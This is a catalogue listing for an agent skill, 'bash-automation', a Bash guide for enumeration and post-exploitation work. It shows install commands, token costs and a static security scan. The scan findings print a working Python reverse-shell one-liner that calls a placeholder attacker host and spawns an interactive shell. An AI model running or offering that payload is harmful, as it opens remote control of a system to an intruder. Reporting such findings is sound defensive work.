bash-automation

bash-automation is a skill for Claude Code, Codex from duck4nh/antigravity-kit. It costs 30 tokens per session (769 once invoked), scanned A, original, from a forked repository, no licence file.

A Bash scripting guide for security work. Bash is a command-line language commonly used to run commands and automate tasks on Unix-like systems.

In plain words
What is it for?
Writing one-line commands and scripts for enumeration, security automation, and post-exploitation work.
Why use it?
It helps avoid writing repetitive security commands by hand and supports quick checks across systems.

Skill for Claude CodeCodex

Which agent this was written for is unclear — body not stored (licence); the path alone says nothing.

Good fit Writing one-line commands and scripts for enumeration, security automation, and post-exploitation work.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/duck4nh/antigravity-kit/bash-automation
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add duck4nh/antigravity-kit --skill bash-automation
Clone the repo
git clone --depth 1 https://github.com/duck4nh/antigravity-kit

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for bash-automation

README.md
[![agentmods](https://agentmods.dev/badge/skills/duck4nh/antigravity-kit/bash-automation.svg)](https://agentmods.dev/skills/duck4nh/antigravity-kit/bash-automation)
Your own site
<a href="https://agentmods.dev/skills/duck4nh/antigravity-kit/bash-automation"><img src="https://agentmods.dev/badge/skills/duck4nh/antigravity-kit/bash-automation.svg" alt="Measured on agentmods" height="20"></a>
Per session 30 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 769 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin fork From a forked repository.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00030 $0.00769
Opus 5 $0.00015 $0.00385
Sonnet 5 $0.00006 $0.00154
Haiku 4.5 $0.00003 $0.00077

Measured 6d ago against content hash e1b85f366c4c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade A, and why

bash-automation scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

cat targets.txt | xargs -P10 -I{} curl -s -o /dev/null -w "%{http_code} {}\n" {}

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
templates/.agent/skills/bash-automation/SKILL.md · 107 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 107 lines · 30 tokens per session scan A e1b85f366c4c

Subscribe to this mod's changes

bash-automation is a skill published in the GitHub repository duck4nh/antigravity-kit (15 stars, last pushed 6mo ago), with no licence file. It adds 30 tokens to every session and 769 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). It comes from a forked repository.

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